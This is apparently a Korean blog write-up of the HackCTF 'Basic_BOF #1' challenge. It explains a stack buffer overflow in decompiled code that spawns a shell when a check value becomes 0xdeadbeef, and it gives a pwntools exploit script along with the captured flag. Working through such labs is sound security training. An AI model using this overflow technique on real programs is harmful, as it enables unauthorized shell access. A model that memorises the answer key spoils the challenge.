-
Basic_BOF #1CTF/HackCTF 2021. 1. 21. 00:31
Disassembly 디스어셈블리
undefined4 main(void) { undefined auStack60 [4]; char *s; int32_t iStack20; uint32_t var_ch; undefined *puStack12; int32_t var_4h; puStack12 = &stack0x00000004; iStack20 = 0x4030201; fgets(auStack60, 0x2d, _reloc.stdin); printf("\n[buf]: %s\n", auStack60); printf("[check] %p\n", iStack20); if ((iStack20 != 0x4030201) && (iStack20 != -0x21524111)) { puts("\nYou are on the right way!"); } if (iStack20 == -0x21524111) { puts("Yeah dude! You win!\nOpening your shell..."); system("/bin/dash"); puts("Shell closed! Bye."); } return 0; }
main() 함수를 살펴보면 iStack20을 auStack60의 buffer overflow를 통해 변조하면 된다는 것을 알 수 있다.
fgets는 [s]인 ebp-0x34부터 입력을 받기 시작하고, 목표는 [var_ch]인 ebp-0xc를 덮는 것이다.
Buffer Overflow
따라서 0x34-0xc 만큼의 더미 뒤에 0xdeadbeef를 입력하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./bof_basic" server = "ctf.j0n9hyun.xyz" port = 3000 # context.log_level = 'debug' context.binary = binary p = remote(server, port) # p = process(binary) e = ELF(binary) payload = b"A"*(0x34-0xc) payload += p32(0xdeadbeef) p.sendline(payload) p.interactive()
Flag
HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}
'CTF > HackCTF' 카테고리의 다른 글
Simple_Overflow_ver_2 (0) 2021.01.21 x64 Simple_size_BOF (0) 2021.01.21 x64 Buffer Overflow (0) 2021.01.21 내 버퍼가 흘러넘친다!!! (0) 2021.01.21 Basic_BOF #2 (0) 2021.01.21